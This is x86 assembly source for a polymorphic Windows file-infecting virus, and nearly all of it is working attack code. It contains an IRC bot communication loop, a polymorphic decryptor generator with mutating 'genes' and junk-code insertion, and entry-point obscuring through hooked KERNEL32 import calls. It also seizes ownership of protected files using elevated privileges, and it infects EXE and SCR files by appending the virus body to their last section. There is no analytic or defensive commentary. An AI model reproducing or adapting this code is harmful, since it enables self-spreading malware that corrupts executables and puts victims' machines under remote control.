mov dword ptr [esp], esi
push esp
call [GetVersionEx+ebp]
lea edi, irc_user[ebp]
mov cl, 1
call gen_random
mov eax, [esp+16] ; dwPlatformId
shl eax, 8
or eax, [esp+4] ; dwMajorVersion
shl eax, 8
or eax, [esp+8] ; dwMinorVersion
push eax
pusht '%.6x'
push edi
call [wsprintf+ebp]
add esp, 12
mov byte ptr [edi+6], ' '
lea edx, irc_register[ebp]
push 0
push REGISTER_LENGTH
push edx
push ebx
call [send+ebp]
lea edi, [esp+20]
push edi
call [lstrlen+ebp]
mov byte ptr [edi+eax], 10
inc eax
push 0
push eax
push edi
push ebx
call [send+ebp]
add esp, esi
lea edi, join_cmd[ebp]
push 0
push JOIN_LENGTH
push edi
push ebx
call [send+ebp]
cmp eax, JOIN_LENGTH
jne _closesocket
lea esi, ircbuf[ebp]
receive_loop:
lea ecx, ircbuf[ebp+511]
sub ecx, esi
push 0
push ecx
push esi
push ebx
call [recv+ebp]
cmp eax, 0
jle _closesocket
xchg ecx, eax
mov edi, esi
lea esi, ircbuf[ebp]
extract_irc_lines:
mov al, 13
repne scasb
jne no_more_lines
pushad
call parse_irc
popad
jc _closesocket
jecxz no_partial
lea esi, [edi+1]
jmp extract_irc_lines
no_more_lines:
mov ecx, edi
sub ecx, esi
no_partial:
lea edi, ircbuf[ebp]
rep movsb
xchg esi, edi
jmp receive_loop
_closesocket:
push ebx
call [closesocket+ebp]
disconnected:
cmp fastquit[ebp], 1
je exit_kernel
push 30000
call [Sleep+ebp]
.if need_restore[ebp] != 0
mov dword ptr sockaddr_in[ebp+4], 0
mov need_restore[ebp], 0
.endif
jmp internet_loop
exit_kernel:
mov infector_lock[ebp], 80000000h
pop ebp
ret 4
db 13,10
db "O noon of life! O time to celebrate!", 13,10
db " O summer garden!", 13,10
db "Relentlessly happy and expectant, standing: -", 13,10
db "Watching all day and night, for friends I wait:", 13,10
db "Where are you, friends? Come! It is time! It's late!"
; -------------------------------------------------------------------------------
; Returns in ECX a random import of *32.DLL. Cannot be ExitProcess/Thread,
; Sleep(Ex), MessageBox*. Typical functions of Win32 API will do nothing harmful
; if called with non-addresses, because they have no data to work on (they may at
; worst raise an exception, so we install a handler). We maintain a collection of
; hashed API names known to be working here (they're also subject to evolution).
; -------------------------------------------------------------------------------
known_hashes:
dd 10A61429h ; GetModuleHandleA
dd 31 dup(0)
rva2ofs:
pushad
and sect_header[ebp], 0
and sect_rva2ofs[ebp], 0
movzx eax, word ptr [ebx+14h]
lea edx, [ebx+18h]
movzx ecx, word ptr [ebx+6]
add edx, eax
find_impsect:
mov eax, [esp+36]
sub eax, [edx+12]
jc not_impsect
cmp eax, [edx+8]
jnb not_impsect
mov eax, [edx+20]
sub eax, [edx+12]
mov sect_header[ebp], edx
mov sect_rva2ofs[ebp], eax
jmp got_impsect
not_impsect:
add edx, 40
loop find_impsect
got_impsect:
popad
ret 4
get_random_import:
mov byte ptr nhashes2chk[ebp], al
call skip_imp1
db 68h
nhashes2chk dd 32
lea eax, known_hashes[ebp]
pop ecx
find_known_hash:
cmp [eax], ebx
je known_hash_found
add eax, 4
loop find_known_hash
inc num_imports[ebp]
ret
known_hash_found:
neg ecx
add ecx, nhashes2chk[ebp]
jecxz return_import
move_hashes:
push [eax-4]
pop [eax]
sub eax, 4
loop move_hashes
mov known_hashes[ebp], ebx
return_import:
.if dword ptr [edx] != 0
sub esi, [edx]
add esi, [edx+16]
.endif
lea ecx, [esi-4]
pop eax
pop ebx
pop esi
.if dword ptr [edx] != 0
push [edx]
.else
push [edx+16]
.endif
call rva2ofs
sub ecx, esi
sub ecx, sect_rva2ofs[ebp]
pop eax
add ecx, [ebx+34h]
ret
skip_imp1:
pop import_found[ebp]
mov num_imports[ebp], 0
call walk_imports
mov eax, num_imports[ebp]
call randmod
call skip_imp2
.if num_imports[ebp] == 0
mov known_hashes[ebp+31*4], ebx
jmp return_import
.endif
dec num_imports[ebp]
ret
skip_imp2:
pop import_found[ebp]
mov num_imports[ebp], edx
call walk_imports
xor ecx, ecx
ret
walk_imports:
mov edx, [ebx+80h]
push edx
call rva2ofs
add edx, sect_rva2ofs[ebp]
add edx, esi
check_lib:
cmp dword ptr [edx+12], 0
je no_import_found
cmp dword ptr [edx+16], 0
je no_import_found
mov eax, [edx+12]
push eax
call rva2ofs
add eax, sect_rva2ofs[ebp]
add eax, esi
push eax
check_libname:
mov cl, [eax]
cmp cl, 0
je libname_end
cmp cl, '.'
je libname_dot
__check_libname_1:
inc eax
jmp check_libname
libname_dot:
mov ecx, [eax+1]
and ecx, 0dfdfdfdfh
cmp ecx, (' LLD' and 0ffffffh)
jne __check_libname_1
libname_end:
pop ecx
sub ecx, eax
cmp ecx, -6
jg try_next_lib
cmp word ptr [eax-2], '23'
jne try_next_lib
push esi
.if dword ptr [edx] == 0
mov ecx, [edx+16]
.else
mov ecx, [edx]
.endif
add esi, ecx
push ecx
call rva2ofs
add esi, sect_rva2ofs[ebp]
check_import:
lodsd
test eax, eax
js check_import
jz __try_next_lib_1
push sect_rva2ofs[ebp]
push eax
call rva2ofs
add eax, sect_rva2ofs[ebp]
pop sect_rva2ofs[ebp]
add eax, [esp]
push ebx
add eax, 2
xor ebx, ebx
hash_import_name:
movzx ecx, byte ptr [eax]
jecxz impname_hashed
or cl, 20h
push ebx
shl dword ptr [esp], 4
sub [esp], ebx
sub [esp], ecx
pop ebx
inc eax
jmp hash_import_name
impname_hashed:
cmp ebx, 0DDBBD70Fh ; ExitProcess
je bad_impname
cmp ebx, 0DB6E45A8h ; ExitThread
je bad_impname
cmp ebx, 0FFA13B59h ; Sleep
je bad_impname
cmp ebx, 0ACB522D6h ; SleepEx
je bad_impname
cmp ebx, 0F358E993h ; MessageBoxA
je bad_impname
cmp ebx, 0F358E97Dh ; MessageBoxW
je bad_impname
cmp ebx, 0E1253F46h ; MessageBoxExA
je bad_impname
cmp ebx, 0E1253F30h ; MessageBoxExW
je bad_impname
call import_found[ebp]
bad_impname:
pop ebx
jmp check_import
__try_next_lib_1:
pop esi
try_next_lib:
add edx, 20
jmp check_lib
no_import_found:
ret
zero_reg db 0
push_args:
push 4
pop eax
call randmod
mov zero_reg[ebp], dl
mov ax, 1831h
add ah, dl
shl ah, 3
add ah, dl
stosw
push 6
pop eax
call randmod
add edx, 8
xchg edx, ecx
do_push_args:
push 5
pop eax
call randmod
.if dl < 3
mov al, 50h
add al, zero_reg[ebp]
stosb
.else
push 68h
pop eax
stosb
.if dl == 3
mov al, 17
call randmod
mov eax, 1
__make_arg:
test dl, dl
jz __write_arg
shl eax, 1
dec dl
jmp __make_arg
.else
mov eax, 80000000h
.endif
__write_arg:
stosd
.endif
loop do_push_args
ret
get_decryptor_offset:
lea edx, poly_decrypt[ebp]
sub edx, edi
neg edx
ret
assemble_seh_save:
test genes[ebp], G_FRAME
setnz al
shl eax, 11
test start_key[ebp], 1
.if zero?
or ax, 2589h ; MOV [ptr32], EBP/ESP
.else
test start_key[ebp], 2
.if zero?
or ax, 2531h ; XOR [ptr32], EBP/ESP
.else
or ax, 2501h ; ADD [ptr32], EBP/ESP
.endif
.endif
stosw
call get_decryptor_offset
mov eax, [ebx+34h] ; ImageBase
mov pos_sehsave[ebp], edx
stosd
ret
assemble_seh_restore:
test genes[ebp], G_FRAME
setnz al
add al, 0bch
stosb ; MOV EBP/ESP, imm32
call get_decryptor_offset
mov pos_sehrestore[ebp], edx
test start_key[ebp], 1
.if zero?
rdtsc
.else
sub eax, eax
.endif
stosd
ret
assemble_seh_close:
test genes[ebp], G_FRAME
.if !zero?
mov al, pr_key[ebp]
shl eax, 11
or ax, 458bh
stosw ; MOV reg, [EBP-8]
mov al, 0f8h
stosb
mov al, pr_key[ebp]
shl eax, 27
add eax, 06896467h
stosd ; MOV FS:[0], reg
xor eax, eax
stosw
.else
mov eax, 00058f64h
stosd ; POP DWORD PTR FS:[0]
mov al, pr_key[ebp]
add al, 58h
shl eax, 24
stosd ; POP reg
.endif
ret
garbage_1:
mov al, 0fch
stosb
jmp write_garbage
garbage_2:
mov ax, 0ebh
stosw
jmp write_garbage
garbage_3:
push 4
pop eax
call randmod
lea eax, [edx*8+edx]
shl eax, 8
add ax, 0c089h
stosw
jmp write_garbage
garbage_4:
mov al, 90h
stosb
write_garbage:
push 2
pop eax
call randmod
test dl, dl
jz no_garbage
push 5
pop eax
call randmod
dec dl
jc garbage_1
jz garbage_2
dec dl
jz garbage_3
dec dl
jz garbage_4
garbage_5:
mov al, 0fdh
stosb
jmp write_garbage
no_garbage:
ret
generate_poly:
lea edi, poly_decrypt[ebp]
test genes[ebp], G_EPO
.if !zero?
mov al, 60h
stosb
.endif
test genes[ebp], G_FRAME
.if !zero?
mov eax, 0ec8b55h
stosd
dec edi
.endif
test genes[ebp], (G_IMPORT or G_IMPORT2 or G_SEHEBP)
jz skip_import_gene
mov al, 0e8h
stosb
stosd
mov pos_callover[ebp], edi
mov al, 0e8h
stosb
stosd
mov pos_relctx[ebp], edi
test genes[ebp], (G_IMPORT or G_IMPORT2)
.if !zero?
test genes[ebp], G_SEHEBP
.if !zero?
call assemble_seh_restore
.endif
mov al, 0e9h
stosb
stosd
.endif
mov eax, pos_callover[ebp]
mov ecx, edi
sub ecx, eax
mov pos_skipapi[ebp], edi
mov [eax-4], ecx
mov eax, 36ff6467h
stosd
xor eax, eax
stosw
test genes[ebp], (G_IMPORT or G_IMPORT2)
.if !zero?
test start_key[ebp], 80h
.if !zero?
call assemble_seh_save
.endif
.endif
mov eax, 26896467h
stosd
xor eax, eax
stosw
test genes[ebp], (G_IMPORT or G_IMPORT2)
jz skip_import_gene
test start_key[ebp], 80h
.if zero?
call assemble_seh_save
.endif
call push_args
mov al, 32
call get_random_import
jecxz skip_import_gene
mov ax, 15ffh
stosw
xchg eax, ecx
stosd
mov edx, genes[ebp]
not edx
test edx, (G_IMPORT or G_IMPORT2)
jnz finish_seh
call push_args
mov al, 31
call get_random_import
mov ax, 15ffh
stosw
xchg eax, ecx
stosd
finish_seh:
mov ecx, edi
mov eax, pos_skipapi[ebp]
sub ecx, eax
mov [eax-4], ecx
skip_import_gene:
test genes[ebp], (G_IMPORT or G_IMPORT2)
jz skip_early_unseh
test genes[ebp], (G_ASEHEBP or G_SEHEARLY)
jz skip_early_unseh
test genes[ebp], G_SEHEBP
.if zero?
call assemble_seh_restore
.endif
test genes[ebp], G_SEHEARLY
jz skip_early_unseh
call assemble_seh_close
skip_early_unseh:
test genes[ebp], G_NOEMUL
jz skip_noemul
mov eax, 0c8fec029h
stosd
mov eax, 474c008h
stosd
mov eax, 67ebf875h
stosd
skip_noemul:
test genes[ebp], G_SPECKEY
jnz skip_speckey
cmp start_key[ebp], 0
je skip_speckey
mov eax, 0c9291829h
or ah, pr_key[ebp]
shl ah, 3
or ah, pr_key[ebp]
stosd
mov al, 0b1h
stosb
mov al, start_key[ebp]
stosb
mov al, 40h
or al, pr_key[ebp]
stosb
mov ax, 0fde2h
test genes[ebp], G_SPECKEY2
jz write_speckey
mov al, 49h
stosb
mov ax, 0fc75h
write_speckey:
stosw
skip_speckey:
mov al, 0e8h
stosb
xor eax, eax
stosd
mov call_address[ebp], edi
test genes[ebp], G_CALL
jnz skip_call
mov al, 58h
or al, pr_memreg[ebp]
stosb
skip_call:
mov ax, 0c081h
test genes[ebp], G_DISTANCE
jz __dist
add ah, 28h
__dist:
or ah, pr_memreg[ebp]
stosw
mov dist_address[ebp], edi
stosd
test genes[ebp], G_PUSHPOS
.if zero?
mov al, 50h
add al, pr_memreg[ebp]
stosb
.endif
test genes[ebp], G_SIZE
.if zero?
mov al, 0b8h
or al, pr_counter[ebp]
stosb
.else
mov ax, 1831h
test genes[ebp], G_SIZEM
.if !zero?
mov al, 29h
.endif
or ah, pr_counter[ebp]
shl ah, 3
or ah, pr_counter[ebp]
stosw
mov ax, 0f081h
test genes[ebp], G_SIZEA
.if zero?
mov ah, 0c8h
.endif
or ah, pr_counter[ebp]
stosw
.endif
mov pos_size[ebp], edi
mov eax, CODE_SIZE
stosd
test genes[ebp], G_SPECKEY
.if !zero?
test genes[ebp], G_1STVAL
.if zero?
mov al, 0b8h
or al, pr_key[ebp]
stosb
.else
test genes[ebp], G_1STVALB
.if zero?
mov ax, 0e083h
or ah, pr_key[ebp]
stosw
xor eax, eax
stosb
.else
mov ax, 1829h
or ah, pr_key[ebp]
shl ah, 3
or ah, pr_key[ebp]
stosw
.endif
test genes[ebp], G_ADDENC
mov ax, 0c081h
.if !zero?
add ah, 8
.endif
or ah, pr_key[ebp]
stosw
.endif
movzx eax, start_key[ebp]
stosd
.endif
test genes[ebp], G_PUSHPOS
.if !zero?
mov al, 50h
add al, pr_memreg[ebp]
stosb
.endif
test genes[ebp], G_GETBYTE
mov al, 86h
.if zero?
add al, 4
.endif
lea ecx, [edi-2]
mov ah, pr_memreg[ebp]
mov start_loop[ebp], ecx
stosw
.if ah == 5 ; ModR/M correction, i.e. EBP+00 addressing mode
mov al, 0
or byte ptr [edi-1], 40h
stosb
.endif
call write_garbage
test genes[ebp], G_ENCRYPT
mov ax, 3166h
.if zero?
mov ah, 29h
.endif
stosw
mov al, 18h
or al, pr_key[ebp]
shl al, 3
stosb
call write_garbage
mov al, 88h
test genes[ebp], G_STORE
.if zero?
mov al, 86h
.endif
mov ah, pr_memreg[ebp]
stosw
.if ah == 5
mov al, 0
or byte ptr [edi-1], 40h
stosb
.endif
test genes[ebp], G_INCREMENT
.if zero?
mov al, 40h
or al, pr_memreg[ebp]
stosb
.else
mov ax, 0c083h
or ah, pr_memreg[ebp]
stosw
mov al, 1
stosb
.endif
test genes[ebp], G_SLIDKEY
.if zero?
test genes[ebp], G_SLIDKEYM
.if zero?
mov al, 0c0h
or al, pr_key[ebp]
mov ah, sliding_key[ebp]
shl eax, 16
mov ax, 8166h
stosd
mov al, 0
.else
mov al, 40h
or al, pr_key[ebp]
.endif
stosb
.endif
test genes[ebp], G_ECOUNT
.if zero?
mov ax, 0e883h
or ah, pr_counter[ebp]
stosw
mov al, 1
.else
mov al, 48h
or al, pr_counter[ebp]
.endif
stosb
test genes[ebp], G_LOOP
mov cl, 75h
.if zero?
mov ax, 0f883h
or ah, pr_counter[ebp]
stosw
xor eax, eax
stosb
sub start_loop[ebp], edi
test genes[ebp], G_LOOP2
.if zero?
mov cl, 77h
.endif
.else
mov ax, 1809h
or ah, pr_counter[ebp]
shl ah, 3
or ah, pr_counter[ebp]
stosw
sub start_loop[ebp], edi
.endif
mov al, cl
mov ah, byte ptr start_loop[ebp]
stosw
mov al, 58h
add al, pr_memreg[ebp]
stosb
test genes[ebp], (G_IMPORT or G_IMPORT2 or G_SEHEBP)
jz finish_poly
test genes[ebp], G_SEHEARLY
jnz finish_poly
test genes[ebp], (G_ASEHEBP or G_SEHEBP)
.if zero?
call assemble_seh_restore
.endif
call assemble_seh_close
finish_poly:
test genes[ebp], G_FRAME
.if !zero?
mov al, 0c9h
stosb
.endif
test genes[ebp], G_EPO
.if !zero?
mov al, 7
sub al, pr_memreg[ebp]
shl eax, 26
or eax, 240889h
add ah, pr_memreg[ebp]
shl ah, 3
add ah, 4
stosd
mov al, 61h
stosb
.endif
mov ax, 0e0ffh
or ah, pr_memreg[ebp]
stosw
test genes[ebp], G_CALL
.if !zero?
test genes[ebp], G_ALIGN
jz __aligned_1
__align_1:
test edi, 3
jz __aligned_1
mov al, 90h
stosb
jmp __align_1
__aligned_1:
mov eax, edi
mov ecx, call_address[ebp]
sub eax, ecx
mov [ecx-4], eax
mov al, 58h
or al, pr_memreg[ebp]
stosb
test genes[ebp], G_CALLRET
.if !zero?
mov ax, 0c350h
or al, pr_memreg[ebp]
.else
mov ax, 0e0ffh
or ah, pr_memreg[ebp]
.endif
stosw
.endif
test genes[ebp], (G_SEHEBP or G_IMPORT or G_IMPORT2)
.if !zero?
test genes[ebp], G_ALIGN
jz __aligned_2
__align_2:
test edi, 3
jz __aligned_2
mov al, 90h
stosb
jmp __align_2
__aligned_2:
mov ecx, edi
mov eax, pos_relctx[ebp]
sub ecx, eax
mov [eax-4], ecx
xor ecx, ecx
test genes[ebp], G_SEHEAX
jnz __reg_found
lea eax, poly_regs[ebp]
__find_reg:
mov cl, [eax]
inc eax
cmp cl, 3
jnb __find_reg
__reg_found:
lea eax, [102444h + ecx*8]
shl eax, 8
mov al, 8bh
stosd
jecxz __skip_zero_eax
mov ax, 0c031h
stosw
__skip_zero_eax:
mov ax, 808fh
push 184
add ah, cl
stosw
pop eax
stosd
test ecx, ecx
jnz finish_relctx
mov ax, 0c031h
stosw
finish_relctx:
mov al, 0c3h
stosb
.endif
lea eax, poly_decrypt[ebp]
test genes[ebp], G_KEEPEP
.if zero?
push edi
sub edi, eax
pop eax
jmp store_distance
.endif
mov edx, [ebx+28h]
sub edi, eax
sub edx, eax
mov ecx, pos_size[ebp]
add call_address[ebp], edx
add [ecx], edi
mov eax, [esp+4]
store_distance:
mov poly_len[ebp], edi
mov edi, dist_address[ebp]
sub eax, call_address[ebp]
test genes[ebp], G_DISTANCE
.if !zero?
neg eax
.endif
stosd
ret 4
handle_epo:
push esi
push edi
cmp drop_rva[ebp], 0
je epo_failed
pusht 'KERNEL32.DLL'
call [GetModuleHandle+ebp]
mov k32_base[ebp], eax
push ebx
mov ebx, [eax+3ch]
add ebx, eax
push [ebx+28h]
mov eax, [ebx+34h]
call rva2ofs
mov edx, sect_header[ebp]
pop ebx
add eax, [edx+12]
mov k32code_begin[ebp], eax
add eax, [edx+8]
mov k32code_end[ebp], eax
mov esi, [ebx+28h]
push dword ptr [ebx+80h]
call rva2ofs
mov edi, sect_header[ebp]
push esi
call rva2ofs
mov edx, sect_header[ebp]
mov ecx, [edx+8]
add ecx, [edx+12]
sub ecx, esi
sub ecx, 5
js epo_failed
jz epo_failed
add esi, sect_rva2ofs[ebp]
add esi, file_base[ebp]
scan_ep:
lodsb
.if al == 0e8h ; try borland linker (CALL func, then JMP [xx])
lea eax, [esi+4]
sub eax, file_base[ebp] ; in-mapping ptr -> raw
add eax, [esi]
push eax
call rva2ofs
.if sect_header[ebp] == 0
cmp eax, [edi+12] ; borland tends to put this stub func somewhere early,
jnb continue_scan_ep ; outside all sections; let's check if it's at least before .IDATA
.else
cmp sect_header[ebp], edx
jne continue_scan_ep
.endif
add eax, file_base[ebp] ; raw -> in-mapping ptr
cmp word ptr [eax], 25ffh
jne continue_scan_ep
mov eax, [eax+2]
sub eax, [ebx+34h] ; absolute address -> RVA
push eax
call rva2ofs
cmp sect_header[ebp], edi
jne continue_scan_ep
add eax, sect_rva2ofs[ebp]
add eax, file_base[ebp] ; -> in-mapping ptr
mov eax, [eax] ; check where xx points (before loading it should be API name)
sub eax, [edi+12] ; -> import section offset
jb continue_scan_ep
cmp eax, [edi+8]
jnb continue_scan_ep
found_place:
add eax, 2
add eax, [edi+20] ; -> raw file offset
add eax, file_base[ebp] ; -> in-mapping ptr
push edx
push eax
push k32_base[ebp]
call [GetProcAddress+ebp]
pop edx
test eax, eax
jnz install_epo ; we need imports from KERNEL32, to maintain return address
.elseif al == 0ffh ; try m$ linker (CALL [xx])
cmp byte ptr [esi], 15h
jne continue_scan_ep
mov eax, [esi+1]
sub eax, [ebx+34h] ; absolute address -> RVA
push eax
call rva2ofs
cmp sect_header[ebp], edi ; imports section?
jne continue_scan_ep
add eax, sect_rva2ofs[ebp] ; -> raw file offset
add eax, file_base[ebp] ; -> in-mapping ptr
mov look_for_imp[ebp], eax
mov eax, [eax] ; check where xx points (before loading it should be API name)
cmp eax, k32code_begin[ebp]
jb check_misbound
cmp eax, k32code_end[ebp]
jb install_epo
check_misbound:
cmp eax, 70000000h
jb not_a_bound_import
call __after_find_import ; could be a misbound import, happens quite often
lea ecx, [esi-4]
mov eax, ecx
sub eax, [edx]
add eax, [edx+16]
.if eax == look_for_imp[ebp]
add esp, 16
push [ecx]
pop [esp+28]
popad
jmp got_name_rva
.endif
ret
__after_find_import:
pop import_found[ebp]
pushad
mov esi, file_base[ebp]
call walk_imports
popad
not_a_bound_import:
test eax, 80000000h ; no fast'n'easy way to check if an ordinal is in KERNEL32
jnz continue_scan_ep
got_name_rva:
sub eax, [edi+12] ; -> import section offset
jb continue_scan_ep
cmp eax, [edi+8]
jb found_place
.endif
continue_scan_ep:
dec ecx
jnz scan_ep
epo_failed:
mov edi, [esp]
and dword ptr [edi+(genes-entry_point)], not G_EPO
jmp exit_epo
install_epo:
or dword ptr [edx+36], 0e0000060h ; read/write/execute
dec esi
xor eax, eax
mov ecx, [esp]
xchg eax, drop_rva[ebp]
mov epo_rva[ebp], eax
lea edi, [ecx+(epo_restore-entry_point)]
add eax, file_base[ebp]
movsw
movsd
dec esi
sub eax, esi
add eax, [edx+20]
sub eax, [edx+12]
mov byte ptr [esi-5], 0e8h
mov dword ptr [ecx+(ENTRY_POINT_DELTA-entry_point)], 5
mov [esi-4], eax
exit_epo:
pop edi
pop esi
ret
regain_file:
push edi
call [GetVersion+ebp]
shr eax, 31
jnz exit_regain_file
push eax
push esp
push 28h ; TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
push -1 ; GetCurrentProcess
call [NtOpenProcessToken+ebp]
test eax, eax
pop edi
js exit_regain_file
call init_advapi32
pusht 'SetFileSecurityA'
push hAdvapi32[ebp]
call [GetProcAddress+ebp]
mov SetFileSecurity[ebp], eax
pusht 'SeTakeOwnershipPrivilege'
push edi
call nt_grant_priv
pusht 'SeRestorePrivilege'
push edi
call nt_grant_priv
pusht 'SeBackupPrivilege'
push edi
call nt_grant_priv
pusht 'SeChangeNotifyPrivilege'
push edi
call nt_grant_priv
push eax
push esp ; ReturnLength
lea eax, token_user[ebp]
push 100 ; TokenInformationLength
push eax ; TokenInformation
push 1 ; TokenInformationClass = TokenUser
push edi ; TokenHandle
call [NtQueryInformationToken+ebp]
mov [esp], edi
call [CloseHandle+ebp]
sub al, al
lea edi, filename_buffer[ebp]
push eax
push eax
push eax
push dword ptr token_user[ebp]
push 00040001h
push esp ; pSecurityDescriptor
push 1 ; SecurityInformation = OWNER_SECURITY_INFORMATION
push edi ; lpFileName
call [SetFileSecurity+ebp]
push esp ; pSecurityDescriptor
push 4 ; SecurityInformation = DACL_SECURITY_INFORMATION
push edi ; lpFileName
call [SetFileSecurity+ebp]
add esp, 5*4
push hAdvapi32[ebp]
call [FreeLibrary+ebp]
exit_regain_file:
pop edi
ret
open_and_map_file:
lea esi, filename_buffer[ebp]
push esi
call [GetFileAttributes+ebp]
cmp eax, -1
je exit_infect
mov file_attr[ebp], eax
push 0
push esi
call [SetFileAttributes+ebp]
test eax, eax
jz exit_infect
sub eax, eax
push eax ; hTemplateFile
push eax ; dwFlagsAndAttributes
push 3 ; dwCreationDistribution = OPEN_EXISTING
push eax ; lpSecurityAttributes
push 1 ; dwShareMode = FILE_SHARE_READ
push 0c0000000h ; dwDesiredAccess = GENERIC_READ | GENERIC_WRITE
push esi ; lpFileName
call [CreateFile+ebp]
cmp eax, -1
je restore_attr
mov file_handle[ebp], eax
lea ecx, file_last_write_time[ebp]
lea edx, file_last_access_time[ebp]
push ecx ; lpLastWriteTime
push edx ; lpLastAccessTime
push 0 ; lpCreationTime
push eax ; hFile
call [GetFileTime+ebp]
cmp eax, -1
je do_close_file
push 0
push file_handle[ebp]
call [GetFileSize+ebp]
cmp eax, -1
je do_close_file
mov file_size[ebp], eax
xor ecx, ecx
add eax, ebx
push ecx ; lpName
push eax ; dwMaximumSizeLow
push ecx ; dwMaximumSizeHigh
push 4 ; flProtect = PAGE_READWRITE
push ecx ; lpFileMappingAttributes
push file_handle[ebp]
call [CreateFileMapping+ebp]
test eax, eax
jz do_close_file
xor ecx, ecx
mov file_mapping[ebp], eax
push ecx ; dwNumberOfBytesToMap
push ecx ; dwFileOffsetLow
push ecx ; dwFileOffsetHigh
push 000f001fh ; FILE_MAP_ALL_ACCESS
push eax ; hFileMappingObject
call [MapViewOfFile+ebp]
test eax, eax
jz close_mapping
mov file_base[ebp], eax
exit_infect:
ret
calculate_increase:
mov eax, (TOTAL_SIZE-1)
mov ecx, [ebx+38h]
test genes[ebp], G_KEEPEP
.if zero?
add eax, poly_len[ebp]
.endif
xor edx, edx
add eax, ecx
div ecx
mul ecx
mov virtual_increase[ebp], eax
mov eax, (CODE_SIZE-1)
mov ecx, [ebx+3ch]
add eax, poly_len[ebp]
xor edx, edx
add eax, ecx
div ecx
mul ecx
mov file_increase[ebp], eax
ret
find_last_section:
movzx ecx, word ptr [ebx+6] ; ECX = NumberOfSections
stc
try_another_section:
jecxz last_section_ret
lea edx, [ebx+18h] ; EDX -> optional header
movzx eax, word ptr [ebx+14h] ; EAX = SizeOfOptionalHeader
add edx, eax ; EDX -> section table
dec ecx
imul eax, ecx, 40
add edx, eax
cmp dword ptr [edx], 'niw_' ; WinZip Self-Extractor?
stc
je last_section_ret
cmp dword ptr [edx+12], 1
jb try_another_section
mov ecx, [ebx+3ch] ; (FileAlignment)
mov eax, [edx+20] ; PointerToRawData
add eax, [edx+16] ; + SizeOfRawData
lea eax, [eax+ecx*2-1]
neg ecx
and eax, ecx ; round it up to FileAlignment
cmp eax, file_size[ebp] ; additional data after end of image?
last_section_ret:
ret
reload_context:
mov edx, [esp+16]
xor eax, eax
pop dword ptr [edx+184] ; update CONTEXT.CsEip
ret
file_ext:
mov ecx, edi
jmp find_file_ext
check_open:
lea edi, filename_buffer[ebp]
cld
path_backslash:
mov ebx, edi
xor ecx, ecx
find_file_ext:
lodsb
.if al >= 'a' && al <= 'z'
sub al, 20h
.endif
stosb
cmp al, '\'
je path_backslash
cmp al, '.'
je file_ext
cmp al, 0
jne find_file_ext
jecxz last_section_ret
mov eax, [ecx]
ifdef RELEASE
cmp eax, (' EXE' and 0ffffffh)
je infect_executable
cmp eax, (' RCS' and 0ffffffh)
jne exit_infect
else
cmp eax, (' EEE' and 0ffffffh)
jne exit_infect
endif
infect_executable:
mov eax, [ebx]
cmp eax, 'CNIW' ; Windows Commander
je exit_infect
cmp eax, 'NUCW'
je exit_infect
cmp eax, '23CW'
je exit_infect
cmp eax, 'OTSP' ; Protected Storage stuff must not be touched
je exit_infect
start_infection:
xor ebx, ebx
call open_and_map_file
.if zero?
call regain_file
call open_and_map_file
jz exit_infect
.endif
xor edx, edx
call install_exception_handler
call reload_context
call __deltaX
__deltaX:
pop ebp
sub ebp, offset __deltaX
jmp deinstall_exception_handler
install_exception_handler:
push dword ptr fs:[edx]
mov esi, file_base[ebp]
mov fs:[edx], esp
cmp word ptr [esi], 'ZM'
jne deinstall_exception_handler
mov ebx, [esi+3ch]
add ebx, esi
cmp word ptr [ebx], 'EP'
jne deinstall_exception_handler
test dword ptr [ebx+16h], 2000h ; DLL?
jnz deinstall_exception_handler
test byte ptr [ebx+5ch], 2 ; subsystem mask: Windows/POSIX
jz deinstall_exception_handler
cmp dword ptr [ebx+8], 20202020h
je deinstall_exception_handler
call find_last_section
jc deinstall_exception_handler
and epo_rva[ebp], 0
mov eax, [edx+8]
mov ecx, [edx+16]
sub eax, ecx
.if carry?
xor eax, eax
.else
add ecx, eax
mov [edx+16], ecx
.endif
mov align_to_vsize[ebp], eax
add ecx, [edx+12]
mov eax, 65536
push ecx
call randmod
xor start_key[ebp], dl
mov cl, NUM_GENES
xor sliding_key[ebp], dh
do_mutate_genes:
push NUM_GENES
dec cl
pop eax
js __got_genes
call randmod
test edx, edx
setz dl
shl edx, cl
xor genes[ebp], edx
jmp do_mutate_genes
__got_genes:
test genes[ebp], G_SEHEBP
.if !zero?
test genes[ebp], (G_IMPORT or G_IMPORT2)
.if zero?
and genes[ebp], not G_SEHEARLY
.else
or genes[ebp], G_FRAME
.endif
.endif
got_genes:
push NUM_POLY_REGS
pop ecx
hash_regs:
push NUM_POLY_REGS
pop eax
call randmod
mov al, byte ptr poly_regs[ebp]
xchg al, byte ptr poly_regs[ebp+edx]
mov byte ptr poly_regs[ebp], al
loop hash_regs
test genes[ebp], G_SPECKEY
jnz __regs_check
cmp pr_key[ebp], 1 ; ECX is used by incrementation loop, cannot be the incremented variable at the same time
je got_genes
__regs_check:
test genes[ebp], G_FRAME
jz __regs_check_2
cmp pr_memreg[ebp], 5 ; EBP is used by stack frame
je got_genes
cmp pr_counter[ebp], 5
je got_genes
cmp pr_key[ebp], 5
je got_genes
__regs_check_2:
test genes[ebp], G_EPO
jz __regs_check_3
cmp pr_memreg[ebp], 2 ; do NOT trash other reg than EAX/ECX/EDX (stdcall!)
ja got_genes
__regs_check_3:
and drop_rva[ebp], 0
call generate_poly
call calculate_increase
call unmap_and_close_file
mov ebx, file_increase[ebp]
add ebx, align_to_vsize[ebp]
call open_and_map_file
jz deinstall_exception_handler
mov esi, file_base[ebp]
mov ebx, [esi+3ch]
add ebx, esi
call find_last_section
jc deinstall_exception_handler
or dword ptr [edx+36], 0e0000060h ; read/write/execute
mov edi, esi
push edx
push esi
add edi, [edx+20] ; PointerToRawData
add edi, [edx+16] ; SizeOfRawData
test genes[ebp], G_KEEPEP
.if zero?
mov drop_ptr[ebp], edi
lea esi, poly_decrypt[ebp]
mov ecx, poly_len[ebp]
rep movsb
.endif
push edi
mov ecx, (CODE_SIZE/4)
lea esi, entry_point[ebp]
rep movsd
mov cl, (CODE_SIZE-(CODE_SIZE/4*4))
jecxz virus_code_written
rep movsb
virus_code_written:
test genes[ebp], G_KEEPEP
jz skip_hook_ep
push [ebx+28h]
call rva2ofs
mov edx, sect_header[ebp]
test edx, edx
jz skip_hook_ep
mov esi, file_base[ebp]
mov ecx, [edx+16] ; SizeOfRawData
or dword ptr [edx+36], 0e0000060h ; read/write/execute
sub ecx, [edx+8] ; VirtualSize
.if carry?
xor ecx, ecx
.endif
add esi, [edx+20]
